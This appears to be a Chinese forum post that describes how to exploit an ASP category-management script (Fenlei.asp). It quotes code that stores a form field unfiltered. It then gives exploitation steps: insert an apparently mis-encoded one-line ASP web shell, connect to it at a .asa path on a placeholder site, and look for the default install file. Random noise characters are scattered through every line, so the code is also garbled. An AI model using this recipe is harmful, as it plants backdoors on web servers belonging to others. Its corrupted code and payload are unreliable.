'Fenlei.asp
6 Q1 |: h" |; T+ R3 G
/ r3 m9 ?5 F$ tIF Request.QueryString("Action")="del" Then
- C# ?3 g; K, ]: K3 o5 HID=Request.QueryString("ID") , W/ q7 O7 ` `3 H
IF Countss ("tui","Fenlei",ID )<>0 then
3 B2 P3 T, q# Q# `& X e3 l1 v'略 ( z! r! G8 B+ j9 r; }# f2 y4 k* `, u
IF Request.QueryString("Action")="Add" Then % ~: Y( s! E, f/ r) Y6 @
Tname=Request.Form("Typename")
- w0 c" h6 Y! E9 ` }4 k9 d6 USet Rs=Server.CreateObject("adodb.Recordset") * C. v) u% m5 Z! Q0 Q
Sql="Select * From Fenlei Order by id Desc "
5 M9 `/ F* j- W/ @/ k ^. qRs.Open Sql,Conn,1,3 ) X* {( Z9 R4 J5 s8 [; v6 m* ^( [7 E
Rs.Addnew
& O, r, z6 P. I. t! hRs("Typename")=Tname ( G8 K; T0 @" x& w" n: ^
'略 & j! k9 [7 `: e$ I
Set Rs=Server.CreateObject("adodb.Recordset") ( o3 ], \- e1 ~2 V7 J% C* n
Sql="Select * From Fenlei Order by id Desc " " Q* q9 H( q( Z
Rs.Open Sql,Conn,1,1
9 o. [8 E8 K9 e2 m+ ^3 g' C/ E'略 ; C$ r2 u' z5 U( k
%>
4 \+ A: S3 w- t' g8 ^ 1 H( [2 D: {' ?; ^) O ~
* v; [: D d8 b% O- U3 i! H m
& v6 C! D9 k5 r/ e& J. q% u+ n9 C没有过滤,直接写入数据库。
) Q0 h. Y( I/ B( e* B2 g# N
) \& U+ p/ m0 V( i8 m: e利用方法:
5 y* d3 S; M$ B6 G/ Z2 ^* x
7 g9 b2 {1 x+ T7 E. I7 m插入:┼攠數畣整爠煥敵瑳∨≡┩>
) ?4 A ~' v, X0 h4 b* [ y3 A5 O: @* G+ p; X2 @+ L
( c2 z8 f% U2 p2 y. O+ [1 o连接: http://www.xxx.com/###tongbaner.asa
! F4 l) K/ a1 w'默认安装文件:
" y. j/ z+ }1 }6 G. j4 F0 n'install.asp9 _/ X- S: x9 R
|